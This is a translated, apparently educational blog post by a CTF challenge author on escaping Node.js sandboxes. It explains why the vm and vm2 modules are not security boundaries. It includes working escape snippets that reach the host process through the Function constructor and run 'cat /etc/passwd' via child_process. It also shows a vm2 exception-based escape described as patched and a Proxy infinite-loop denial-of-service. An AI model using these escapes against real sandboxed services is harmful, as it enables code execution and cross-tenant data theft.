This article for translation and the original address: pwnisher gitlab. IO/nodejs/sand…
background
I wrote BabyJS challenge for Nullcon HackIM CTF this year. The idea was not to use common bug classes like SQLI, LFI, RCE, etc., but to choose something new and interesting. There have been a lot of pathon-jail/python-sandbox challenges in CTF in the past, so we thought why not try NodeJs sandbox?
Just after CTP, I wanted to learn more about the NPM packages currently providing sandboxes and how they are affected by bypassing. In this blog post, I will explain why NodeJS sandboxes are a problem and cannot be used as a stand-alone security solution.
disclaimer
I’m a javascript newbie, not as good as those who have discovered such bypasses as this. I’m just trying to explain. If you think there is anything you need to improve or add, please contact me.
What is a sandbox
A sandbox is a separate environment that can safely execute untrusted code without affecting the actual external code.
Search the Node sandbox and the first module that comes up is the Node VM. Let’s see what it has to offer.
NodeJS module VM
The VM module provides an API for compiling running code in the context of the VM. The VM module lets you run code in a sandbox environment. The code runs in a different V8 context, meaning that its global variables are different from other code.
Using the VM module we can run untrusted code in a separate environment, which means that the code running in the sandbox can’t access the Node process, right?
Sample code:
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`let a = "welcome!" ; a; `);
console.log(xyz);Copy the code
Now let’s try to access the process
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);
console.log(xyz);Copy the code
“Process is not defined”, so by default, the VM module cannot access the process. If you want to access the process, you must specify authorization.
Well, it seems that default access to “process, require”, etc., would suffice, but is there really no way to touch the main process and execute the code?
The bypass
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(xyz);Copy the code
explain
In javascript this refers to the object to which it belongs, so when we use it we already refer to an object outside of the VM context. Constructor of this returns Object constructor, and. Constructor of Object constructor returns Function constructor.
Function constructor is like the highest Function javascript provides in that it has access to global objects, so it can return global objects. Function constructor allows you to generate functions from strings to execute arbitrary code.
So we use Function constructor to return the main process. 🙂
This also works for breaking out of Angular — the AngularJS sandbox.
More on Function Constructor here and here.
Now we can use it to access the process and require, and then do RCE.
Code execution
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);Copy the code
NodeJS VM2 module
VM2 is a sandbox that whitelistes Node built-in modules to run untrusted code. Safety! Only javascript built-in objects and buffers are provided. By default, the dispatch functions (setInterval, setTimeout, and setImediate) are not available.
VM2 works
VM2 uses VM modules internally to build security (context) [github.com/patriksimek…] It uses proxies to prevent escape from the sandbox.
Now anything from the VM context to the sandbox can climb the touch process.
Such as:
"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")()');Copy the code
An exception error was thrown. Process is not defined.
escape
Since VM2 authenticates everything in the VM context, the this keyword no longer has access to the constructor attribute, so our previous methods are no longer available.
For the bypass, we need something other than the sandbox so that the sandbox context is not restricted and constructor can be accessed again.
The winning exception:
Now that all objects in the VM are restricted, we need something from outside to crawl back into the process and execute the code.
If we write the wrong code in the try block, it will cause the main process to throw an exception, which we then catch back into the VM and use to climb back into the process. Maybe this is where we need to go.
const {NodeVM} = require('vm2');
nvm = new NodeVM()
nvm.run(`
try {
this.process.removeListener();
}
catch (host_exception) {
console.log('host exception: ' + host_exception.toString());
host_constructor = host_exception.constructor.constructor;
host_process = host_constructor('return this')().process;
child_process = host_process.mainModule.require("child_process");
console.log(child_process.execSync("cat /etc/passwd").toString()); } `);Copy the code
In the try block, we try to remove the listener on the current process. This process, removeListener (), it will cause the host. Since exceptions from the host are passed in the sandbox context-free, they can climb up the tree to reach require.
When executing the code example above, vm2 will throw an exception and cannot get require; It appears that VM2 has fixed this vulnerability.
There are more new and innovative bypasses for VM2 — more escapes.
In addition to sandbox escape, an infinite while loop can be used to create an infinite loop of denial of service.
const {VM} = require('vm2');
new VM({timeout:1}).run(`
function main() {while(1){} } new Proxy({}, { getPrototypeOf(t){ global.main(); }}) `);Copy the code
feeling
Running untrusted code is difficult, and relying only on software modules as sandbox techniques to prevent untrusted code from being used for improper purposes is a bad decision. This can make SAAS applications on the cloud insecure, as data between multiple tenants can be accessed by escaping the sandbox process. You might sneak into other tenants sessions, secret, etc. A safer option is to rely on hardware virtualization, such as executing each tenant code in a separate Docker container or AWS Lambada Function.
Sandboxing Node.js with CoreOS and Docker